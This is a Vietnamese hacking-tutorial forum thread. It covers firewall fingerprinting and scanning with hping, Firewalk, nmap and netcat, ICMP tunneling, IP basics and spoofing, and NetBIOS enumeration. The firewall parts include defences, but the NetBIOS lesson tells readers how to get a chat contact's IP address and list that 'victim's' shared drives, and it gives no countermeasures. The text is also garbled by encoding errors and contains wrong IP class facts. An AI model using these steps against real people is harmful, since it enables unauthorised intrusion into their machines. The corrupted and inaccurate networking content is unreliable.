    Ðể ngăn cản các tuyến nối với cổng TCP 257, bạn phong tỏa chúng tại các bộ định tuyến thượng nguồn. Một Cisco ACL đơn giản nh dới đây có thể khước từ rõ rệt một nỗ lực của bọn tấn công:

    Code:

    Code:
    access -list 101 deny tcp any any eq 257 log ! Block Firewall- l scans

    III. Quét qua các bức tường lửa

    Ðừng lo, đoạn này không có ý cung cấp cho bọn nhóc ký mã một số kỹ thuật ma thuật để vô hiệu hóa các bức tường lửa. Thay vì thế, ta sẽ tìm hiểu một số kỹ thuật để nhảy múa quanh các bức tường lửa và thu thập một số thông tin quan trọng về các lộ trình khác nhau xuyên qua và vòng quanh chúng.

    1. hping

    hping của Salvatore Sanfilippo, làm việc bằng cách gửi các gói tin TCP đến một cổng đích và báo cáo các gói tin mà nó nhận trở lại. hping trả về nhiều đáp ứng khác nhau tùy theo v số điều kiện. Mỗi gói tin từng phần và toàn thể có thể cung cấp một bức tranh khá rõ về các kiểu kiểm soát truy cập của bức tường lửa. Ví dụ, khi dùng hping ta có thể phát hlện các gói tin mở, bị phong tỏa, thả, và loại bỏ.

    Trong ví dụ sau đây, hping báo cáo cổng 80 đang mở và sẵn sàng nhận một tuyến nối. Ta biết điều này bởi nó đã nhận một gói tin với cờ SA đợc ấn định (một gói tin SYN/ACK).

    Code:
    Code:
     # hping www.yourcompany.com -c2 – S -p80 -n
     HPING www.yourcomapany.com ( eth0 172.30.1.2 0 ) : S set, 40 data bytes 60 bytes from 172.30.1.20 : flags=SA seq=0 ttl=242 id= 65121 win= 64240 time=144.4 ms
    Giờ đây ta biết có một cống mở thông đến đích, nhưng chưa biết nơi của bức tường lửa. Trong ví dụ kế tiếp, hping báo cáo nhận một ICMP unreachable type 13 từ 192.168.70.2. Một ICMP type 13 là một gói tin lọc bị ICMP admin ngăn cấm, thờng đợc gửi từ một bộ định tuyến lọc gói tin.
    Code:

    Code:
    # hping www.yourcompany.com -c2 –S -p23 -n
     HPING www.yourcompany.com ( eth0 172.30.1.20 ) : S set, 40 data bytes ICMP Unreachable type 13 f rom 192.168.70.2
    Giờ đây nó đợc xác nhận, 192.168.70.2 ắt hẳn là bức tường lửa, và ta biết nó đang phong tỏa cổng 23 đến đích của chúng ta. Nói cách khác, nếu hệ thống là một bộ định tuyến Cisco nó ắt có một dòng như dưới đây trong tập tin config:
    Code:

    Code:
     access -list 101 deny tcp any any 23 ! telnet

    Trong ví dụ kế tiếp, ta nhận đợc một gói tin RST/ACK trả lại báo hiệu một trong hai viêc:

    (1) gói tin lọt qua bức tường lửa và server không lắng chờ cổng đó
    (2) bức tường lửa thải bỏ gói tin (như trường hợp của quy tắc reject của Check Point).



    Code:

    Code:
    # hping 192.168.50.3 -c2 -S -p22 -n
     HPING 192.168.50.3 ( eth0 192.168.50.3 ) : S set, 40 data bytes 60 bytes from 192.168.50.3 : flags=RA seq= 0 ttl= 59 id= 0 win= 0 time=0.3 ms
    Do đã nhận gói tin ICMP type 13 trên đây, nên ta có thể suy ra bức tường lửa ( 192.168.70.2) đang cho phép gói tin đi qua bức tường lửa, nhưng server không lắng chờ trên cổng đó. Nếu bức tường lửa mà bạn đang quét qua là Check point, hping sẽ báo cáo địa chỉ IP nguồn của đích, nhưng gói tin thực sự đang đợc gửi từ NIC bên ngoài của bức tường lửa Check Point. Ðiểm rắc rối về Check Point đó là nó sẽ đáp ứng các hệ thống bên trong của nó , gửi một đáp ứng và lừa bịp địa chỉ của đích. Tuy nhiên, khi attacker đụng một trong các điều kiện này trên Internet, chúng không hề
    biết sự khác biệt bởi địa chỉ MAC sẽ không bao giờ chạm máy của chúng. Cuối cùng, khi một bức tường lửa đang phong toả các gói tin đến một cổng, bạn thờng không nhận đợc gì trở lại.
    Code:

    Code:
    [ root@bldg_04 3 /opt ] # hping 192.168.50.3 -c2 -S -p2 2 -n
    HPING 192.168.50.3 ( eth0 192.168.50.3 ) : S set, 40 data
    Kỹ thuật hping này có thể có hai ý nghĩa: (1) gói tin không thể đạt đến đích và đã bị mất trên đường truyền, hoặc (2) có nhiều khả năng hơn, một thiết bị (ắt là bức tường lửa của chúng ta 192.168.70.2 ) đã bỏ gói tin trên sàn dới dạng một phần các quy tắc ACL của nó.

    Biện Pháp Phòng Chống

    Ngăn ngừa một cuộc tấn công hping không phải là dễ . Tốt nhất, ta chỉ việc phong tỏa các thông điệp ICMP type 13 ( nh m tả trong đoạn phòng chống tiến trình quét nmap trên đây ).

    2. Firewalk

    Firewalk là một công cụ nhỏ tiện dụng, nh một bộ quét cổng, đợc dùng để phát hiện các cổng mở đàng sau một bức tường lửa. Ðợc viết bởi Mike Schiffnlan, còn gọi là Route và Dave Goldsmith, trình tiện ích này sẽ quét một server xua dòng từ một bức tường lửa và báo cáo trở lại các quy tắc đợc phép đến server đó mà không phải thực tế chạm đến hệ đích. Firewalk làm việc bằng cách kiến tạo các gói tin với một IP TTL đợc tính toán để kết thúc một chãng vợt quá bức tường lửa. Về lý thuyết, nếu gói tin đợc bức tường lửa cho phép, nó sẽ đợc phép đi qua và sẽ kết thúc nh dự kiến, suy ra một thông điệp "ICMP TTL expired in transit." Mặt khác, nếu gói tin bị ACL của bức tường lửa phong tỏa, nó sẽ bị thả, và hoặc không có đáp ứng nào sẽ đợc gửi, hoặc một gói tin lọc bị ICMP type 13 admin ngăn cấm sẽ đợc gửi.

    Code:

    Code:
    # firewalk -pTCP -S135 -140 10.22.3.1 192.168.1.1
     Ramping up hopcounts to binding host . . .
     probe : 1 TTL : 1 port 33434 : expired from [exposed.acme.com]
     probe : 2 TTL : 2 port 33434 : expired from [rtr.isp.net]
     probe : 3 TTL : 3 port 33434 : Bound scan at 3 hops [rtr.isp.net]
     port open
     port 136 : open
     port 137 : open
     port 138 : open
     port 139 : *
     port 140 : open
    Sự cố duy nhất mà chúng ta gặp khi dùng Firewalk đó là nó có thể ít hơn dự đoán, vì một số bức tường lửa sẽ phát hiện gói tin hết hạn trước khi kiểm tra các ACL của nó và cứ thế gửi trả một gói tin ICMP TTL EXPI#800000. Kết quả là, Firewalk mặc nhận tất cả các cổng đều mở.

    Biện Pháp Phòng Chống

    Bạn có thể phong tỏa các gói tin ICMP TTL EXPI#800000 tại cấp giao diện bên ngoài, nhưng điều này có thể tác động tiêu cực đến khả năng vận hành của nó, vì các clien hợp pháp đang nối sẽ không bao giờ biết điều gì đã xảy ra với tuyến nối của chúng.

    IV. Lọc gói tin

    Các bức tường lửa lọc gói tin nh Firewall-1 của Check Point, Cisco PIX, và IOS của Cisco (vâng, Cisco IOS có thể đợc xác lập dới dạng một bức tường lửa) tùy thuộc vào các ACL (danh sách kiểm soát truy cập) hoặc các quy tắc để xác định xem luồng traffic có đợc cấp quyền để truyền vào/ra mạng bên trong. Ða phần, các ACL này đợc sắp đặt kỹ và khó khắc phục. Nhưng thông thờng, bạn tình cờ gặp một bức tường lửa có các ACL tự do, cho phép vài gói tin đi qua ở tình trạng mở. .
    Các ACL Tự Do
    Các danh sách kiểm soát truy cập (ACL) tự do thờng gặp trên các bức tường lửa nhiều hơn ta tưởng. Hãy xét trờng hợp ở đó có thể một tổ chức phải cho phép ISP thực hiện các đợt chuyển giao miền. Một ACL tự do nh "Cho phép tất cả mọi hoạt động từ cổng nguồn 53" có thể đợc sử dụng thay vì cho phép hoạt động từ serverDNS của ISP với cổng nguồn 53 và cổng đích 53." Nguy cơ tồn tại các cấu hình sai này có thể gây tàn phá thực sự, cho phép một hắc cơ quét nguyên cả mạng từ bên ngoài. Hầu hết các cuộc tấn công này đều bắt đầu bằng một kẻ tấn công tiến hành quét một server đằng sau bức tường lửa và đánh lừa nguồn của nó dới dạng cống 53 (DNS).

    Biện Pháp Phòng Chống

    Bảo đảm các quy tắc bức tường lửa giới hạn ai có thể nối ở đâu. Ví dụ, nếu ISP yêu cầu khả năng chuyển giao miền, thì bạn phải rõ ràng về các quy tắc của mình. Hãy yêu cầu một địa chỉ IP nguồn và mã hóa cứng địa chỉ IP đích (serverDNS bên trong của bạn) theo quy tắc mà bạn nghĩ ra. Nếu đang dùng một bức tường lửa Checkpoint, bạn có thể dùng quy tắc sau đây để hạn chế một cổng nguồn 53 (DNS) chỉ đến DNS của ISP. Ví dụ, nếu DNS của ISP là 192.168.66.2 và DNS bên trong của bạn là 172.30.140.1, bạn có thể dùng quy tắc dới đây:
    Nguồn gốc Ðích Dịch vụ Hành động Dấu vết
    192.168.66.2 172.30. 140.1 domain-tcp Accept Short

    V. Tunneling ICMP và UDP

    Tunneling ICMP là khả năng đóng khung dữ liệu thực trong một phần đầu ICMP.
    Nhiều bộ định tuyến và bức tường lửa cho phép ICMP ECHO, ICMP ECHO REPLY, và các gói tin UDP mù quáng đi qua, và như vậy sẽ dễ bị tổn thơng trước kiểu tấn công này. Cũng như chỗ yếu Checkpoint DNS, cuộc tấn công Tunneling ICMP và UDP dựa trên một hệ thống đã bị xâm phạm đứng sau bức tường lửa.
    Jeremy Rauch và Mike D. Shiffman áp dụng khái niệm Tunneling vào thực tế và đã tạo các công cụ để khai thác nó : loki và lokid (clien và server) -xem
    http://www.phrack.com/search.phtml?view&article=p49-6.
    Nếu chạy công cụ serverlokid trên một hệ thống đứng sau bức tường lửa cho phép ICMP ECHO và ECHO REPLY, bạn cho phép attacker chạy công cụ clien (loki), đóng khung mọi lệnh gửi đi trong các gói tin ICMP ECHO đến server(lokid). công cụ lokid sẽ tháo các lệnh, chạy các lệnh cục bộ , và đóng khung kết xuất của các lệnh trong các gói tin ICMP ECHO REPLY trả lại cho bọn tấn công. Dùng kỹ thuật này, attacker có thể hoàn toàn bỏ qua bức tường lửa.

    Biện Pháp Phòng Chống

    Ðể ngăn cản kiểu tấn công này, bạn v hiệu hóa khả năng truy cập ICMP thông qua bức tường lừa hoặc cung cấp khả năng truy cập kiểm soát chi tiết trên luồng lu thông ICMP. Ví dụ, Cisco ACL dới đây sẽ v hiệu hóa toàn bộ luồng lu thông ICMP phía ngoài mạng con 172.29.10.0 (DMZ) vì các mục tiêu điều hành:

    Code:

    Code:
    access - list 101 permit icmp any 172.29.10.0 0.255.255.255 8 ! echo
     access - list 101 permit icmp any 172.29.10.0 0.255.255.255 0 ! echo- reply
     access - list 102 deny ip any any log ! deny and log all else
    Cảnh giác: nếu ISP theo dõí thời gian hoạt động của hệ thống bạn đằng sau bức tường lửa của bạn với các ping ICMP (hoàn toàn không nên!), thì các ACL này sẽ phá vỡ chức năng trọng yếu của chúng. Hãy liên hệ với ISP để khám phá xem họ có dùng các ping ICMP để kiểm chứng trên các hệ thống của bạn hay không.

    Tóm Tắt

    Trong thực tế một bức tường lửa đợc cấu hình kỹ có thể cũng khó vợt qua. Nhưng dùng các công cụ thu thập thông tin như traceroute, hping, và nmap, attacker có thể phát hiện (hoặc chí ít suy ra) các lộ trình truy cập thông qua bộ định tuyến và bức tường lửa cũng như kiểu bức tường lửa mà bạn đang dùng. Nhiều chỗ yếu hiện hành là do cấu hình sai trong bức tường lửa hoặc thiếu sự giám sát cấp điều hành, nhưng dẫu thế nào, kết quả có thể dẫn đến một cuộc tấn công đại họa nếu được khai thác. Một số điểm yếu cụ thể tồn tại trong các hệ uỷ nhiệm lẫn các bức tường lửa lọc gói tin, bao gồm các kiểu đăng nhập web, telnet, và localhost không thẩm định quyền. Ða phần, có thể áp dụng các biện pháp phòng chống cụ thể để ngăn cấm khai thác chỗ yếu này, và trong vài trờng hợp chỉ có thể đúng kỹ thuật phát hiện. Nhiều người tin rằng tương lai tất yếu của các bức tường lửa sẽ là một dạng lai ghép giữa uỷ nhiệm ứng dụng và công nghệ lọc gói tin hữu trạng [stateful] sẽ cung cấp vài kỹ thuật để hạn chế khả năng cấu hình sai. Các tính năng phản ứng cũng sẽ là một phần của bức tường lửa thế hệ kế tiếp. NAI đã thực thi một dạng như vậy với kiến trúc Active Security. Nhờ đó, ngay khi phát hiện cuộc xâm phạm, các thay đổi đã đợc thiết kế sẵn sẽ tự động khởi phát và áp dụng cho bức tường lửa bị ảnh hưởng. Ví dụ, nếu một IDS có thể phát hiện tiến trình Tunneling ICMP, sản phẩm có thể hướng bức tường lửa đóng các yêu cầu ICMP ECHO vào trong bức tường lửa. Bối cảnh như vậy luân là cơ hội cho một cuộc tấn công DDoS; đó là lý do tại sao luân cần có mặt các nhân viên bảo mật kinh nghiệm.

  8. #8
    Thành viên K2-07 trungkieninfor's Avatar
    Join Date
    Dec 2007
    Location
    Bình Dương
    Posts
    628

    Default basic to hack

    bài 08:
    Firewall + phương pháp của Hacker + cách phòng chống



    Tác giả: KiemKhach HVAOnline

    1. Tổng quan về tường lửa :

    - Theo tớ được biết thì hiện nay trên thị trường có 2 loại tường lửa : ủy nhiệm ứng dụng(application proxies) và cổng lọc gói tin ( packet filtering getways ).

    2. Nhận dạng tương lửa

    -Hầu hết thì các tường lửa thường có 1 số dạng đặc trưng, chỉ cần thực hiện một số thao tác như quét cổng và firewalking và lấy banner (thông tin giới thiệu-tiêu đề ) là hacker có thể xác định được loại tường lửa, phiên bản và quy luật của chúng.

    -Theo các bạn thì tại sao nhận dạng tường lửa lại quan trọng ? và câu trả lời là
    Bởi nếu như đã biết được các thông tin đích xác về tường lửa và cách khai thác những điểm yếu này .

    a. Quét trực tiếp - kỹ thuật lộ liễu
    + Cách tiến hành
    -Một cách đơn giản nhất để tìm ra tường lửa là quét các cổng mặc định. Theo tớ được biết thì một vài tường lửa trên thị trường tự nhận dạng mình bằng việc quét cổng - ta chỉ cần biết những cổng nào cần quét . Ví dụ như Proxy Sever của Microsoft nghe các cổng TCP 1080 va 1745 etc..

    Như vậy để tìm tường lửa ta sử dụng nmap đơn giản như sau :

    Nmap -n -vv -p0 -p256,1080,1745 192.168.50.1 -60.250

    Từ những kẻ tấn công vụng về cho đến những kẻ sành sỏi đều dùng phương pháp quét diện rộng đối với mạng làm việc của bạn để nhận diện tường lửa.Tuy nhiên , những hacker nguy hiểm sẽ tiến hành công việc quét càng thầm lặng , càng kín đáo càng tốt . Các hacker có thềdung nhiều kĩ thuật để thoát khỏi sự phát hiện của chúng ta bao gồm ping ngẫu nhiên ... Các hệ thống dò xâm nhập ( IDS - Intruction Detection System ) không thể phát hiện những hành động quét cổng áp dụng những kĩ thuật tinh vi để lẩn tránh bởi chúng được ngầm định lập cấu hình chỉ để nghe những hành động quét cổng lộ liễu nhất mà thôi .

    Trừ khi chúng ta có những thiết lập đúng đắn cho IDS , nếu không việc quét cổng sẽ diễn ra rất âm thầm và nhanh chóng. Chúng ta hoàn toàn có thể tạo ra những hành vi quét cổng như vậy khi sử dụng những đoạn script có sẵn trên nhiều trang web như :
    www.hackingexposed.com

    *** Cách đối phó ***
    Nếu các bồ dùng RealSecure 3.0 thì có thể làm như sau:

    -Để RealSecure 3.0 có thể phát hiện ra các hành vi quét cổng , chúng ta cần phải nâng cao tính nhạy cảm của nó , có thể sử dụng những thay đổi sau :
    - Chọn Network Engine Policy
    - Tìm "Port Scan " và chọn nút Options
    - Sửa Ports thành 5 ports
    - Sửa Delta thành 60 seconds

    - Để ngăn chặn việc quét cổng tường lửa từ Internet ta cần phải khóa các cổng này ở những router đứng trước Firewall.Trong trường hợp những thiết bị này do ISP quản lý, ta phải liên hệ với họ.

    b. Lần theo tuyến (Route tracking )-
    Sử dụng chương trình traceroute để nhận diện tương lửa trên một mạng làm việc là một phương pháp âm thầm và không khéo hơn. Chúng ta có thể sử dụng traceroute trên môi trường UNIX và tracert.exe trên môi trường Windows NT để tìm đường đến mục tiêu. Traceroute của LINUX có khóa lựa chọn -I để thực hiện việc lần theo tuyến bằng cách gửi đi các gói ICMP

    [vtt]$ traceroute -I 192.168.51.100
    traceroute to 192.168.51.101 (192.168.51.100), 30 hops max, 40 byte packages
    1 attack-gw (192.168.50.21) 5.801 ms 5.105 ms 5.445 ms
    2 gw1.smallisp.net (192.168.51.1)
    ....
    15 192.168.51.101 (192.168.51.100)


    3.Lấy banner (banner grabbing)

    - Quét cổng là một biện pháp rất hiệu quả trong việc xác định firewall nhưng chỉ có Checkpoint và Microsoft nghe trên các cổng ngầm định , còn hầu hết các tường lửa thì không như vậy , do đó chúng ta cần phải suy diễn thêm . Nhiều tường lửa phổ biến thường thông báo sự có mặt của mình mỗi khi có kết nối tới chúng.Bằng việc kết nối tới một địa chỉ nào đó,ta có thể biết được chức năng hoạt động , loại và phiên bản tương lửa. Ví dụ khi chúng ta dùng chương trình netcat để kết nối tới một máy tính nghi nghờ có tường lửa qua cổng 21( F b sờ tê) ta có thể thấy một số thông tin thú vị như sau :
    c:\>nc -v -n 192.168.51.129 21
    (unknown) [192.168.51.129] 21 (?) open
    220 Secure Gateway FTP sever ready

    -Dòng thông báo (banner) "Secure Gateway FTP sever ready" là dấu hiệu của một loại tường lửa cũ của Eagle Raptor. Để chắc chắn hơn chúng ta có thể kết nối tới cổng 23 (telnet) :
    C:\>nc -v -n 192.168.51.129 23
    (unknown) [192.168.51.129] 23 (?) open
    Eagle Secure Gateway.
    Hostname :

    -Cuối cùng nếu vẫn chưa chắc chắn ta có thể sử dụng netcat với cổng 25(SMTP)

    C:\>nc -v -n 192.168.51.129 25
    (unknown) [192.168.51.129] 25 (?) open
    421 fw3.acme.com Sorry, the firewall does not provide mail service to you

    -Với những thông tin và giá trị thu thập được từ banner,hacker có thể khai thác các điểm yếu của Firewall( đã dc phát hiện ra từ trước ) để tấn công .

    Cách đối phó -
    Theo tớ hiểu thì để đối phó thì chugns ta cần phải giảm thiểu thông tin banner, điều này phụ thuộc rất nhiều vào các nhà cung câp firewall. Ta có thể ngăn chặn việc bị lộ quá nhiều thông tin tường lửa bằng cách thường xuyên sủa đổi các file cấu hình banner. Điều này thì các bạn nên tham khảo thêm từ các nhà cung cấp dịch vụ.

    4.Nhận diện cổng (port identification)

    Một vài firewall có "dấu hiệu nhận dạng " có thể được dùng để phân biệt với các loại tường lửa khác bằng cách hiện ra một sẻi các con số .Ví dụ như CheckPoint Firewall khi ta kết nối tới cổng TCP 257 quản lý SNMP. Sự hiện diện của các cổng từ 256 tới 259 trên hệ thống chính là dấu hiệu báo trước sự có mặt của CheckPoint Firewall-1 , ta có thể thử như sau:

    [vtt]# nc -v -n 192.168.51.1 257
    (unknown) [192.168.51.1] 257 (?) open
    30000003


    [vtt]# nc -v -n 172.29.11. 191 257
    (unknown) [172.29.11. 191] 257 (?) open
    30000000

  9. #9
    Thành viên K2-07 trungkieninfor's Avatar
    Join Date
    Dec 2007
    Location
    Bình Dương
    Posts
    628

    Default basic to hack

    bài 09:
    Những kiến thức cơ bản cho thành viên mới



    1.Địa chỉ IP
    Địa chỉ ip (internet protocol) là số xác định một thiết bị khi tham gia hệ thống mạng,và là số duy nhất khi bạn tham gia hệ thống mạng,số này có thể là động hoặc tĩnh (động là có thể thay đổi và tĩnh là không thể thay đổi đýợc)tuỳ vào nhà cung cấp dịch vụ,nếu bạn không đăng kí IP tĩnh với ISP (internet server provide)thì mặc định IP của bạn sẽ đýợc thay đổi mỗi khi bạn vào mạng.
    IP cũng nhýđịa chỉ nhà bạn vậy,thay vào đó IP chính là địa chỉ máy bạn sử dụng để vào mạng,vì sao cần phải có IP khi tham gia vào mạng,đõn giản để xác định thiết bị và quản lý thiết bị khi tham gia vào mạng,và trên mạng IP sẽ xác định chính bạn
    Bạn đặt ra 1 câu hỏi,từ IP có thể tìm ra đýợc chủ nhân của máy tính không?vì sao các hacker khi đột nhập vào hệ thống hay phát tán virus trên mạng vẫn có thể bị tóm,đõn giản vì các việc làm của bạn sẽ để lại dấu tích,từ IP ngýời quản trị có thể biết đýợc các thông tin máy của bạn nhý Netbios,MAC,từ IP sẽ tìm ra đýợc ISP của bạn ,nếu bạn sử dụng IP tĩnh và sử dụng tài khoản riêng của bạn...
    Chúng ta sẽ bắt đầu tìm hiểu về địa chỉ IP



    2.IP được chia ra làm 4 lớp là A,B,C,D
    Địa chỉ IP đýợc chia thành 4 số thập phân giới hạn từ 0 đến 255 ,mỗi số đýợc đýợc lýu có kích thýớc là 1 byte vậy một địa chỉ IP có kích thýớc là 4 byte
    Lớp A có địa chỉ từ 10.0.0.0 ---> 126.255.255.255 và tống số có đến 16 triệu địa chỉ
    Lớp B có địa chỉ từ 128.0.0.0 -->191.255.255.255 và tổng số có đến 65536 địa chỉ
    Lớp C có địa chỉ từ 192.0.0.0 -->223.255.255.255
    Lớp D có địa chỉ từ 224.0.0.0 -->255.255.255.255
    Lớp A chủ yếu là sở hữu của các tổ chức
    Lớp B và lớp C là thuộc sở hữý của các máy tính tham gia trên mạng
    Lớp D chủ yếu sử dụng cho các máy tính đa truyền phát
    Các địa chỉ IP 127.0.0.0 --->127.255.255.255 là địa chỉ IP dùng cho máy chủ thực hiện trao đổi thông tin và phản hồi thông tin với nhau
    Đến đây để rễ hiểu chúng ta làm 1 ví dụ nhỏ
    bạn phát hiện 1 số IP trên mạng có địa chỉ là 140.25.0.0 bây giờ ta sẽ tìm hiểu xem IP đó thuộc lớp nào và ISP là gì?
    ip 140.20.0.0 thuộc lớp B ta có tất cả các địa chỉ từ 140.20.0.0 ---->140.20.255.255 và ISP có địa chỉ IP lớp B là 140.20.xxx.xxx



    3.Bây giờ chúng ta sẽ phân tích sự khác nhau giữa IP và hostname
    Có 1 số trang website bạn vừa có thể truy cập bằng địa chỉ IP ,bạn cũng có thể truy cập bằng một cái tên ,hostname chính là tên website và IP là địa chỉ liên kết đến hostname ,thay vì bạn phải gõ địa chỉ IP bạn truy cập bằng hostname
    IP là số để xác định thiết bị,còn hostname dùng liên kết 1 từ khoá(địa chỉ website) với địa chỉ IP,đõn giản hostname dễ nhớ hõn IP ,do sử dụng ngôn ngữ giúp chúng ta nhớ một địa chỉ website hõn là một địa chỉ IP gồm toàn những dãy số,và một điều quan trọng nữa là một IP có thể có nhiều hostname khác nhau do chúng ta đăng kí,và một hostname chỉ có duy nhất một từ khoá liên kết đến địa chỉ IP



    4.IP spoofing
    Nhý bạn đã biết IP là số xác định thiết bị trên mạng,khi bạn muốn truy cập vào máy chủ nhýng lại muốn che dấu thông tin thiết bị của mình ip spoofing chính là thuật ngữ dùng đề fake(che dấu ) ip của bạn,mục đích truy cập vào máy chủ và che dấu thông tin của mình ,spoofing sẽ rất hữu hiệu khi bạn muốn výợt firewall hay đột nhập vào máy chủ ,sử dụng các việc làm muốn che dấu thông tin cá nhân .
    Tuy nhiên tất cả các thông tin phản hồi lại địa chỉ IP spoofing là thông tin bạn không thể nhận đýợc,đõn giản đó không phải là ip của bạn
    Trong bài tiếp theo chúng ta sẽ đề cập đến các cách sử dụng các chýõng trình để fake ip và che dấu thông tin khi bạn online trên mạng
    Bài viết còn nhiều thiếu xót mong các bạn bổ xung thêm.

  10. #10
    Thành viên K2-07 trungkieninfor's Avatar
    Join Date
    Dec 2007
    Location
    Bình Dương
    Posts
    628

    Default basic to hack

    bài 10:
    NetBIOS hacking và cách phòng chống (phuongdong)



    Mở đầu


    Thấy các bạn Newbie hỏi về các lệnh net ... và về IPC$, SAM nên mình viết bài này để share một số thông tin rất cơ bản cho các bạn còn chưa rõ cách sử dụng nó

    NetBIOS là viết tắt của chữ Network Basic Input Output System. Đầu tiên nó được IBM và Sytek xây dựng để truy nhập vào các tài nguyên được chia sẻ trong mạng LAN ( Local Area Network ). Tài nguyên trong mạng có thể là ổ đĩa, máy in , máy scan ....

    Nếu bạn đã từng làm việc trong các mạng LAN và sử dụng hệ điều hành Windows ( windows9.x , me, 2000, XP .... ) thì bạn đã từng bấm đúp chuột vào biểu tượng Network Neghborhood ( hay My Network Places ) để truy nhập tới các may tính khác trong mạng => đó chính là bạn đã sử dụng một số lệnh của NetBIOS trong môi trường Winđows.

    Mỗi mỗi service trong máy đều làm việc trên một cổng nào đó, NetBIOS cũng được gán cho một số cổng tùy theo bạn đang sử dụng HDH nào.

    - TCP 135 RPC/DCE Endpoint mapper
    - UDP 137 NetBIOS Name Service
    - UDP 138 NetBIOS Datagram Service
    - TCP 139 NetBIOS Sesion Service ( SMB/CIFS over NetBIOS
    - TCP/UDP 445 Direct Host


    ( SMB - Server Mesage Block)
    CIFS - Common Internet File System )

    Mặc định thì Windows 9.x ( 95,98,98se ), NT4 và Windows2000 sẽ lắng nghe trên cổng 139, nhưng Windows 9.x không lắng nghe trên cổng TCP/UDP 135 ( => chính vì điều này mà đợt vừa qua khi phát hiện ra lỗi RPC , Virus Blaster không gây ảnh hưởng gì cho các máy tính đang chạy Windows 9.x ) Windows 2000 và XP cũng lắng nghe trên các cổng TCP/UDP 445
    => Dựa vào các hiểu biết này và các lệnh của Windows ( các lệnh này thường nằm trong C:\Windows\system32 - hoặc WinNT\system32 ) người ta có thể truy nhập vào các máy tinh khác trong mạng

    Tìm kiếm IP của victim

    Nhắc lại một tý về IP:
    IP là một số xác định được gán cho mỗi máy tính trong một mạng nào đó.
    IP được biểu diễn là một số 32 bit, các bit đựơc chia thành 4 phần mỗi phần 8 bit ( 1 byte ). Có 3 cách để biểu diễn cho một địa chỉ IP:
    - Dạng thập phân ( dạng hay dùng nhất ) Ví dụ : 130.57.30.56
    - Dạng nhị phân : 10000010.00111001.00011110.00111000
    - Dạng Hexadecimal 82 39 1E 38

    Trong mỗi địa chỉ IP bao giờ cũng có hai phần là địa chỉ mạng ( Networrk Address ) và địa chỉ máy ( Node Address ). Các máy tính trong một mạng bao giờ cũng có cùng một địa chỉ mạng
    ( Các bạn có thể tìm thấy bài viết chi tiết về địa chỉ IP trên HVA portal )

    Để biết địa chỉ IP của mình bạn có thể dùng lệnh trong windows để xem :

    1- Nếu bạn đang dùng Windows 9,x :
    Bấm vào Start \ run sau đó đánh vào lệnh command rồi bấm OK ( Để chạy ra màn hình DOS - DOS shell )
    Tại dấu nhắc của lệnh DOS đánh vào lệnh IPCONFIG ( hoặc IPCONFIG / ALL )
    Nếu bạn dùng Win98 có thể sử dụng Start \run rồi đánh vào lệnh WINIPCFG cũng cho kết quả tương tự

    2- Nếu bạn dùng Win2000, XP ...
    Bấm vào Start \ run sau đó đánh vào lệnh cmd rồi bấm OK ( Để chạy ra màn hình DOS - DOS shell )
    Tại dấu nhắc của lệnh DOS đánh vào lệnh IPCONFIG ( hoặc IPCONFIG / ALL )
    Bạn chú ý nhìn dòng IP Address rồi nhìn sang bên phải thấy một số có dạng xxxx.xxxx.xxx.xxx <= đó chính là địa chỉ IP của bạn khi bạn vào mạng

    Công việc tìm kiếm IP và xem nó có mở cổng không của victim thường mất rất nhiều thời gian - Người ta có thể dùng một số Tool để thực hiện việc tìm kiếm cho nhanh ( và đỡ tốn tiền Net ) như NetScanPro2000, hay Esential NetTools ( ET3 ), IP Tool ...
    (Bài hướng dẫn về cách sử dụng và nơi Download cũng có trên 4rum - Các bạn có thể vào mục đồ nghề để tìm)

    Nếu bạn đang sử dụng ICQ để chát với victim bạn có thể sử dụng lệnh netstat -n ( lệnh này sẽ cho ta biết các kết nối đựơc thiết lập giữa máy của ta và bên ngoài và qua các cổng nào ) để biết IP của victim.
    Ví dụ: sau khi chạy lệnh netstat -n ta sẽ nhận đựơc bảng sau :

    Active Connections
    Proto Local Address Foreign Address State
    TCP 192.168.0.1:3537 203.195.136.156:2869 Established
    .......................................................................................



    Bạn chú ý nhìn ở dưới dòng chữ Foreign Address số 203.195.136.156 <= Đó là địa chỉ IP của victim, còn số 2869 chính là cổng kết nối.

    Chữ Established => báo cho bạn biết một kết nối đã được thiết lập giữa máy tính của bạn và victim.

    Còn nếu bạn sử dụng MSN hay YH, nếu sử dụng lệnh netstat - n có thể bạn không nhìn thấy IP của victim mà có thể là địa chỉ của Server của MSN hay YH.

    Để xác định chính xác bạn có thể sử dụng Send File của YH để gửi một file tới victim. Trước khi Send File, sử dụng lệnh netstat -n để xác định các kết nối đã có.

    Trong khi đang Send file bạn lại sử dụng lệnh netstat -n sau đó tìm địa chỉ IP nào mà mới được thiết lập => đó chình là dịa chỉ IP của Victim ( vì khi Send file nó se thiết lập một kết nối trực tiếp giữa máy bạn và victim )

    Sau khi đã có địa chỉ IP của victim bạn sử dụng lênh nbtstat -a ipAddress ( lệnh này dùng để xác đinh một số thông tin trên máy victim ... )
    Ví dụ : C:\> nbtstat - a 203.210.136.23
    ( <= Đây là địa chỉ mô phỏng thôi đấy nhé - đừng thử greenbiggrin.gif )

    Bạn có thể nhận được các dòng như sau

    NetBIOS remote Machine Name Table
    Name Type Status
    may1 <00> Unique Registered
    netde<00> Group Registered
    may1 <03> Unique Registered
    may1 <20> Unique Registered
    ...............................
    MAC address 00-32-04-14-23-E6




    Ở đây bạn chú ý đến số <20> => Nếu thấy số này có nghĩa là máy victim đã bật chế độ chia sẻ File và máy in ( File And Printer Sharing )
    Tiếp theo ta sử dụng lệnh net view \\ipaddress ( lệnh này dùng để xem máy vic tim chia sẻ những cái gì để còn .... )

    Ví dụ : C:> net view \\203.210.136.23
    Bạn có thể thấy các dòng tương tự như ở dưới đây :

    Shared resource at \\203.210.136.23
    Share name Type User As Comment
    C Disk
    D Disk
    IPC$ Disk
    .........................................................................
    The command complete succesfully



    =D> Đến đây bạn vào tìm file LMHost - nếu không có thì tạo ra ( Nếu bạn sử dụng window98 thì nó nằm ngay trong thư mục windows, nếu là XP thì trong thư mục Windows\System32\Drivers \etc còn Win2000 thì nằm trong WinNT\System32\Drivers\etc )

    Lạm bàn về LMHost : Ngày trước tên máy và địa chỉ IP được lưu vào trong đó - Nó được dùng để phân giải tên máy và địa chỉ IP ( Name - to - Address )

    File này được cập nhật và quản lý bởi SRI - NIC ( Standford Research Institute Network Information Center ), vài tuần một lần tổ chức này lại cập nhật lại nội dung File này.

